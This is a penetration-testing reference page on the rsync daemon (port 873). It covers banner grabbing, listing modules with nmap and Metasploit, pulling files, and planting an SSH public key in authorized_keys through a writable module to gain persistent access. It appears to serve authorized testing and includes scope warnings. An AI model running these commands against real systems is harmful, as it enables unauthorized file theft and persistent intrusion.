> ## Documentation Index
> Fetch the complete documentation index at: https://0-x.dev/llms.txt
> Use this file to discover all available pages before exploring further.

# 873 - Rsync

`Default Port: 873`

Rsync is a file synchronization tool, and when it's run as a standalone daemon rather than over SSH, it exposes "modules," named directory shares, directly over the network on port 873. The real risk isn't the protocol itself, it's that modules are frequently left unauthenticated or writable, turning what should be an internal backup mechanism into an open door for reading or planting files.

> **Read-Only Module**
>
> Lets you list and pull files from a share. Still a real finding if it exposes backups, configs, or source code.

> **Writable Module**
>
> Lets you upload files into the share. Combined with the right target path, this is a direct route to remote code execution or SSH persistence.

> [!TIP]
>
> Unlike most services on this site, rsync often requires no credentials by design, modules can be configured completely open. Always try listing before assuming you need a password.

***

## Recon

```bash theme={null}
sudo nmap -sV -p873 TARGET
```

```bash theme={null}
nc -nv TARGET 873
```

A successful banner grab returns the protocol version directly, confirmation enough that the service is really rsync before going further:

```text theme={null}
@RSYNCD: 31.0
```

***

## Enumerating Modules

A "module" is rsync's term for a shared directory. Listing them is the rsync equivalent of listing SMB shares, the first real step once you know the service is there.

```bash theme={null}
rsync TARGET::
```

Nmap and Metasploit cover the same ground if you'd rather stay inside a broader scan:

```bash theme={null}
nmap -sV --script "rsync-list-modules" -p873 TARGET
```

```bash theme={null}
use auxiliary/scanner/rsync/modules_list
set RHOSTS TARGET
run
```

Once you have a module name, list its contents without downloading anything yet:

```bash theme={null}
rsync -av --list-only rsync://TARGET/MODULE_NAME
```

***

## Pulling Files

```bash theme={null}
rsync -r rsync://TARGET/MODULE_NAME .                 # copy everything in the module to the current directory
rsync -avz TARGET::MODULE_NAME /local/directory/        # with compression, useful over a slow link
```

***

## Writable Modules

> [!WARNING]
>
> Confirm a module is genuinely intended to be writable before testing uploads, an open write module on a misconfigured server is a significant finding, but writing to it is still an active change to the target.

If a module allows writes, the most direct path to access is dropping your own SSH public key into a user's `.ssh` directory, provided the module's path actually exposes it.

```bash theme={null}
rsync -av ~/.ssh/id_rsa.pub rsync://TARGET/MODULE_NAME/home/USER/.ssh/authorized_keys
```

If that succeeds, SSH in directly with the corresponding private key, no password or other credential needed.

> [!TIP]
>
> A writable module doesn't have to map to an SSH directory to be useful. Any writable path reachable by a web server, a cron job, or a startup script can potentially be turned into code execution, check what the module's underlying directory actually corresponds to on the host.

***

## Quick Reference Tools

> **[Hackviser: Rsync](https://hackviser.com/tactics/pentesting/services/rsync)**
>
> Quick-reference pentesting guide for the Rsync service.

> **[HackTricks: Rsync](https://hacktricks.wiki/en/network-services-pentesting/873-pentesting-rsync.html)**
>
> Deeper breakdown of Rsync enumeration and exploitation techniques.

> [!WARNING]
>
> Writing to a module, especially into an `.ssh` directory, grants persistent access to the target. Confirm this is explicitly in scope before going beyond read-only listing and downloads.


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.